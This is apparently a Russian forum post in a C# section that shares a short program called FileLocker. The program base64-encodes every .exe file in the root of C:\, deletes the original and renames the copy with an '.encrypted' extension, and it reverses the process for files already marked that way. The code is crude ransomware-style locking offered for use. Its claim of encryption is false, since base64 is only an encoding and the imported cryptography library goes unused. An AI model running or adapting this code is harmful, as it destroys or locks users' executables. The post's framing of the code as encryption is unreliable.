Загрузка...

локирование Файлов

Тема в разделе C# создана пользователем Search_inactive41474 22 июн 2016. 267 просмотров

Загрузка...
  1. Search_inactive41474
    Search_inactive41474 Автор темы 22 июн 2016 11 22 июн 2016
    Исходный код:
    Код

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.IO;
    using System.Security.Cryptography;

    namespace FileLocker
    {
    class Program
    {
    static void Main(string[] args)
    {
    string[] files = Directory.GetFiles(@"C:\");

    foreach (string fileName in files)
    {
    if (fileName.EndsWith(".exe"))
    {
    string tempFile = Path.GetTempFileName();

    File.WriteAllText(tempFile, Convert.ToBase64String(File.ReadAllBytes(fileName)));
    File.Delete(fileName);
    File.Move(tempFile, fileName + ".encrypted");

    Console.WriteLine(fileName);
    }
    else if (fileName.EndsWith(".encrypted"))
    {
    string tempFile = Path.GetTempFileName();
    File.WriteAllBytes(tempFile, Convert.FromBase64String(File.ReadAllText(fileName)));
    File.Delete(fileName);
    string extension = fileName.Replace(".encrypted", "");
    File.Move(tempFile, extension);
    }
    }
    Console.Read();
    }
    }
    }
     
Top